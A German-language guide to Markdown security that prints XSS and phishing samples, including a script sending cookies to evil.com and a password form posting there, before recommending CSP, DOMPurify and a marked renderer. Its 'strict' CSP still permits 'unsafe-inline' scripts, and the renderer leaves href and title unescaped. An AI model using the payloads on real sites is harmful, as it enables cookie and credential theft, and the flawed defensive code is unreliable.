Markdown Sicherheits-Best-Practices
Obwohl Markdown wie Klartext aussieht, kann unsachgemäße Handhabung zu schwerwiegenden Sicherheitslücken führen. Dieser Leitfaden zeigt Ihnen, wie Sie Markdown-Inhalte sicher handhaben.
Häufige Sicherheitsbedrohungen
1. XSS (Cross-Site-Scripting-Angriffe)
Markdown erlaubt HTML-Einbettung, was zum Injizieren bösartiger Skripte missbraucht werden kann:
<!-- Gefährlich: Nicht bereinigte HTML -->
<script>
// Cookies stehlen
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Klick mich</a>2. HTML-Injection
Selbst ohne JavaScript kann bösartiges HTML Schaden anrichten:
<!-- Phishing-Angriff -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Passwort eingeben">
<button>Anmelden</button>
</form>Verteidigungsstrategien
1. Content Security Policy (CSP)
Strikte CSP-Header implementieren:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. HTML-Bereinigung
Dedizierte Bereinigungs-Bibliotheken verwenden:
DOMPurify (Browser)
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Sicheren Markdown-Parser konfigurieren
Marked Sichere Konfiguration
const marked = require('marked');
const renderer = {
html(html) {
// HTML komplett blockieren
return '';
},
link(href, title, text) {
// Nur sichere Protokolle erlauben
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Sicherheits-Checkliste
Vor dem Deployment prüfen
- [ ] Content Security Policy (CSP) aktivieren
- [ ] HTML-Bereinigung implementieren (DOMPurify/sanitize-html)
- [ ] Rohes HTML deaktivieren oder einschränken
- [ ] Alle URLs und Links validieren
- [ ] Rate Limiting implementieren
- [ ] CSRF-Schutz hinzufügen
- [ ] Datei-Uploads validieren
- [ ] Authentifizierung und Autorisierung implementieren
- [ ] Inhaltslängenbegrenzungen festlegen
- [ ] HTTPS aktivieren
- [ ] Sichere HTTP-Header konfigurieren
- [ ] Logging und Monitoring implementieren
- [ ] Regelmäßige Sicherheitsaudits durchführen
- [ ] Abhängigkeiten aktuell halten
Fazit
Markdown-Sicherheit darf nicht vernachlässigt werden. Durch Implementierung angemessener Bereinigungs-, Validierungs-, Authentifizierungs- und Überwachungsmaßnahmen können Sie benutzergenerierte Markdown-Inhalte sicher handhaben und Anwendungen und Benutzer vor Angriffen schützen.